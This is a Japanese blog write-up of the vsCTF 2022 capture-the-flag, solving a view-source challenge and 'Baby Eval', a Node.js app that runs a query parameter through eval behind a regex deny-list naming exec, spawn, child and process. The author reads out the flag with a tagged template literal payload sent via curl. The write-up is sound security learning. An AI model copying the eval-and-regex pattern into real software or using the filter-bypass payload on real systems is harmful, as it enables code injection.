Midnight Monologues

日々勉強したことを書いてきます

vsCTF 2022 - Writeup

2022年7月9日, 16:00 UTC - 7月10日, 16:00 UTCに開催されたvsCTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で2問解いたので、以下にWriteupを記載する。

Web

Sanity Check

What does "VS" stand for in vsCTF?

https://challs.viewsource.me/sanity-check/


指定されたURLへアクセスすると添付のようなメッセージが表示される。

Chromeの開発者ツールからソースコードを確認するとコメント化されたflagが確認できる。

flag : vsctf{v1ew_s0urc3_a_f1rst_y3ar_t3am!}



Baby Eval

Yet another baby challenge…

https://babyeval-twekqonvua-uc.a.run.app/


指定されたURLへアクセスすると以下のソースコードが記載された画面が表示される。

title
View Source CTF
description
Powered by Node.js and Express.js
lastUpdate
2022-02-22T22:22:22.222Z
source
const express = require('express');
const app = express();

function escape(s) {
    return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";");
}

function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}

app.get('/', (req, res) => {
    const payload = req.query.payload;

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));
        } else {
            res.send(`${eval(payload)}`);
        }
    } else {
        res.send(directory(["title", "description", "lastUpdate", "source"]));
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Server started on http://127.0.0.1:${process.env.PORT}`);
});


payloadで指定した文字列をevalで実行する処理が実装されている。

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=1
1                                                                                                                                                          


ただし以下のfilter処理で特定の文字列はサニタイズされる。

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));


例.

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=app
<code>app</code><br><code>app</code> 


ソースコードの戻り値からdirectoryを指定するとdirectory関数の結果が表示される。flagはdirectory関数の中にあるので(や"を使わずにdirectory(["flag"])が表現できればいい。

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app/?payload=directory
function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}


ここで色々試して directoryflagでflagが表示された。

┌──(root💀kali)-[/ctf]
└─# curl 'https://babyeval-twekqonvua-uc.a.run.app/?payload=directory`flag`'
<dl><dt>flag</dt><dd><pre>&#118;&#115;&#99;&#116;&#102;&#123;&#114;&#101;&#103;&#69;&#120;&#65;&#105;&#110;&#8217;&#116;&#71;&#111;&#111;&#100;&#69;&#110;&#117;&#102;&#70;&#111;&#114;&#87;&#65;&#70;&#125;</pre></dd></dl> 

flag : vsctf{regExAin’tGoodEnufForWAF}

感想

  • Baby Wasm wasmの解析で力尽きた。他の方のWriteupからChromeMemory Inspectorの使い方が分かったので参考になった。
  • vsCAPTCHA 時間切れで解けず。相変わらずコーディング力不足を痛感した。